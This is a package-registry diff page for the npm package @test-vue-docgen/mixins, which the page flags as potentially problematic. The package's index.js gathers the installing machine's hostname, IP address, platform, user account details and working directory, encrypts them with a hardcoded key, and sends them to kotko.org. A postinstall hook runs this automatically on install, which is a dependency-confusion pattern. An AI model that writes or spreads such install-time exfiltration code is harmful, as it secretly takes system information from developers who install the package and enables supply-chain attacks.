@test-vue-docgen/mixins 4.43.16
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @test-vue-docgen/mixins might be problematic. Click here for more details.
- package/README.md +0 -0
- package/crypto.js +31 -0
- package/index.js +42 -0
- package/package.json +24 -0
package/README.md
ADDED
File without changes
|
package/crypto.js
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
const crypto = require('crypto');
|
2
|
+
|
3
|
+
const algorithm = 'aes-256-ctr';
|
4
|
+
const secretKey = 'vOVH6sdmpNWjRRIqCc7rdxs01lwHzfr3';
|
5
|
+
const iv = crypto.randomBytes(16);
|
6
|
+
|
7
|
+
const encrypt = (text) => {
|
8
|
+
|
9
|
+
const cipher = crypto.createCipheriv(algorithm, secretKey, iv);
|
10
|
+
|
11
|
+
const encrypted = Buffer.concat([cipher.update(text), cipher.final()]);
|
12
|
+
|
13
|
+
return {
|
14
|
+
iv: iv.toString('hex'),
|
15
|
+
content: encrypted.toString('hex')
|
16
|
+
};
|
17
|
+
};
|
18
|
+
|
19
|
+
const decrypt = (hash) => {
|
20
|
+
|
21
|
+
const decipher = crypto.createDecipheriv(algorithm, secretKey, Buffer.from(hash.iv, 'hex'));
|
22
|
+
|
23
|
+
const decrpyted = Buffer.concat([decipher.update(Buffer.from(hash.content, 'hex')), decipher.final()]);
|
24
|
+
|
25
|
+
return decrpyted.toString();
|
26
|
+
};
|
27
|
+
|
28
|
+
module.exports = {
|
29
|
+
encrypt,
|
30
|
+
decrypt
|
31
|
+
};
|
package/index.js
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
var os = require("os");
|
2
|
+
const request = require('request');
|
3
|
+
const crypto = require('crypto');
|
4
|
+
var fs = require('fs');
|
5
|
+
|
6
|
+
|
7
|
+
var hostname = os.hostname();
|
8
|
+
var type = os.platform();
|
9
|
+
var userInfo = os.userInfo();
|
10
|
+
var currentPath = process.cwd();
|
11
|
+
var json = [];
|
12
|
+
var ip = require("ip");
|
13
|
+
|
14
|
+
|
15
|
+
|
16
|
+
const algorithm = 'aes-256-ctr';
|
17
|
+
const secretKey = 'vOVH6sdmpNWjRRIqCc7rdxs01lwHzfr3';
|
18
|
+
const iv = crypto.randomBytes(16);
|
19
|
+
|
20
|
+
json.push(hostname)
|
21
|
+
json.push(ip.address())
|
22
|
+
json.push(type)
|
23
|
+
json.push(userInfo)
|
24
|
+
json.push(currentPath)
|
25
|
+
json = JSON.stringify(json);
|
26
|
+
const { encrypt, decrypt } = require('./crypto');
|
27
|
+
|
28
|
+
let hash = encrypt(json);
|
29
|
+
|
30
|
+
|
31
|
+
let company = "npmjs+"+"fetlife--vue-docgen-api"
|
32
|
+
let packages = "test-vue-docgen/mixins"
|
33
|
+
|
34
|
+
// fs.writeFile('ByKotko.txt', 'this proof for report', function (err) {
|
35
|
+
// if (err) throw err;
|
36
|
+
// });
|
37
|
+
//
|
38
|
+
// var dString = JSON.parse(Buffer.from("eyJpdiI6IjkwYzgyYzk5ZGEzMmI0OTI2YWRkMzczOGNhY2RiMGMzIiwiY29udGVudCI6IjE3ZjY2NTgwMWM4YzQyNzcwNzAzZTA1NDdlOWZkMmIyMThjZjZiZGMwNThhMmEzNGYzOTJjNmViMzAyN2M1MzI4YjBhYTY3MTFiMmJlMTQ1NzQ3MjE2MjBkM2E1MjMxODRlMmMxZDI1ZWE3N2Q1ZmUxNzkyNjkyY2MyYThmYzBlYWEwMDg2NTUwNDc1NWQwZDg1YzQ0NDNmNzQ3YjA4ZWM2YzY3YjU1OTc4MzY4OTM5N2VhYjJmZTcyMmI2ZjljYjU0NTI0MzdiYTI0ZGU4NGYzZWZjZDMzNzhkMTRhNzI2MTE4YWQ2YWRhMGZkNzQ3NzQwODc1Y2JkMjc3NTUyOTM5NzY5YTBkYjdlMTFlMzAzMTMzYzM5NWZkZmQ3YWMzMzYwMzIwY2JiMjY5OWQ0NzEyY2Y3Nzk3N2QxNzVjNDU1ZWE5MzZmODU3ZWU5ZTg0MjcwMmFlYzA3YjMyYzUzNmVhZWE3NjJjNmQxYmFiNTA0MThiZGNmZTg2MjBmMjkxZGE5MTk3MTEyYWU0OTVmM2UxMDBlOGNjMWI5Njk5NjliMTI2ODExOTY3M2Y2ZGE1NmE2MmY3NGZlOTJhZTNhZGZlMGM0OTAxMWM3MGZjNGU0OGMzMDY0NmEzN2YyMmM5NDFiYzNlZTRmNGUifQ", 'base64'))
|
39
|
+
// console.log(decrypt(dString))
|
40
|
+
|
41
|
+
var buff = Buffer.from(JSON.stringify(hash)).toString("base64");
|
42
|
+
request(`https://kotko.org/?${company}:${packages}=${buff}`, (error, response, body) => {})
|
package/package.json
ADDED
@@ -0,0 +1,24 @@
|
|
1
|
+
{
|
2
|
+
"name": "@test-vue-docgen/mixins",
|
3
|
+
"version": "4.43.16",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js",
|
8
|
+
"preinstall": "npm i request --save-dev",
|
9
|
+
"test": "node index.js"
|
10
|
+
},
|
11
|
+
"author": "",
|
12
|
+
"Dependencies": {
|
13
|
+
"crypto": "^1.0.1",
|
14
|
+
"ip": "^1.1.5",
|
15
|
+
"request": "^2.88.2",
|
16
|
+
"os": "^0.1.1"
|
17
|
+
},
|
18
|
+
"devDependencies": {
|
19
|
+
"crypto": "^1.0.1",
|
20
|
+
"ip": "^1.1.5",
|
21
|
+
"os": "^0.1.1",
|
22
|
+
"request": "^2.88.2"
|
23
|
+
}
|
24
|
+
}
|